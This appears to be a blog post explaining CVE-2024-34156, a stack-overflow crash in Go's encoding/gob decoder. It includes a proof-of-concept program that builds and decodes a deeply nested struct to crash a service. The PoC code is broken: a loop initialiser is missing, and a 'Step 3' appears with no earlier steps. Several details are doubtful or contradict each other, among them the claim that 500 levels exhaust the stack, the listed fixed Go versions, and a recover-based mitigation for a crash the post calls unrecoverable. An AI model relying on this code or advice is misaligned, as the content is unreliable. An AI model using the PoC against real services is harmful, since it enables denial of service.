CVE-2024-34156 highlights a serious vulnerability in Go’s encoding/gob decoder — it can cause your application to crash if it decodes a message with extremely deep nesting. This blog will help you understand the issue, see how it works, and learn how to protect your application.

What is CVE-2024-34156?

This vulnerability affects applications using the Go standard library encoding/gob package. If you call Decoder.Decode() on a crafted gob message that contains extremely deep or recursive nesting (like a slice-in-a-slice-in-a-slice, and so on), your application might panic with a stack overflow (stack exhaustion).

This flaw is similar to CVE-2022-30635, which also affected the gob decoder in a related way.

Why Does This Happen?

Every time Decoder.Decode encounters a nested value, it uses up some stack space. There’s no protective guard in the Go standard library’s gob package to limit how deep structures can be nested during decoding. So, a malicious attacker can purposely craft gob data that’s nested thousands of levels deep. When your app tries to decode it, the decoder recurses until the stack overflows, causing a panic — and likely crashing your service.

Who’s Affected?

If you use the encoding/gob standard package and accept gob data from users — for example, via the network or uploaded files — you are vulnerable. Even if you trust your clients, you should update, because attackers can often find creative ways to send you gob data.

The Exploit: How Attackers Can Crash Your App

Here’s a simple proof-of-concept (PoC) showing how this kind of attack can be constructed. This is for educational use only.

Let's define a "Nester" struct that can point to itself, creating arbitrary depth

import (
	"bytes"
	"encoding/gob"
	"log"
)

// Nester is a recursive struct
type Nester struct {
	Next *Nester
}

The following code makes one 500 levels deep

func createDeepNest(depth int) *Nester {
	var head *Nester
	for i := ; i < depth; i++ {
		head = &Nester{Next: head}
	}
	return head
}

Step 3: Serialize (Encode) and Test The Decoder

Let’s serialize the deeply nested Nester and then try to decode it. The decoder will panic if the nesting is deep enough.

func main() {
	depth := 500 // 500 is typically enough to exhaust the stack

	// Encode
	buf := new(bytes.Buffer)
	encoder := gob.NewEncoder(buf)
	n := createDeepNest(depth)
	err := encoder.Encode(n)
	if err != nil {
		log.Fatalf("encoding failed: %v", err)
	}

	// Decode (will panic: stack overflow)
	var n2 Nester
	decoder := gob.NewDecoder(buf)
	err = decoder.Decode(&n2)
	if err != nil {
		log.Printf("decode failed: %v", err)
	}
}

When you run this, you’ll get an error like this

runtime: goroutine stack exceeds 100000000-byte limit
fatal error: stack overflow

Real-World Impact

- Denial-of-Service (DoS): Attackers can remotely crash your services by sending malicious deeply nested gob data.
- Hard To Detect: There’s no output error you can recover from. Your process just dies or is forcibly stopped by the Go runtime.

How Is It Fixed?

Go 1.22.4 and Go 1.21.11 fix this issue. The fix aligns the gob decoder with protections already present in some other Go packages (like encoding/json). Now, the gob decoder fails gracefully with an error instead of panicking on deeply nested inputs.

If you aren’t on the latest Go release, upgrade now

- Go 1.22.4 Release Notes
- Go 1.21.11 Release Notes

Input Filtering:

If you can't upgrade, consider limiting gob input size, using a recover block to not crash your process, or wrapping decoding in a separate process.

References and Further Reading

- CVE-2024-34156 on NVD
- Go Advisory: encoding/gob: stack exhaustion due to deeply nested structures
- Go 1.22.4 Release Notes
- Go 1.21.11 Release Notes
- Previous gob DoS: CVE-2022-30635

TL;DR

If you decode gob data from untrusted sources, update to go1.22.4 or later immediately. Attackers can crash your app with a single message thanks to CVE-2024-34156. Don’t be a victim!

Timeline

Published on: 09/06/2024 21:15:12 UTC
Last modified on: 09/09/2024 15:35:07 UTC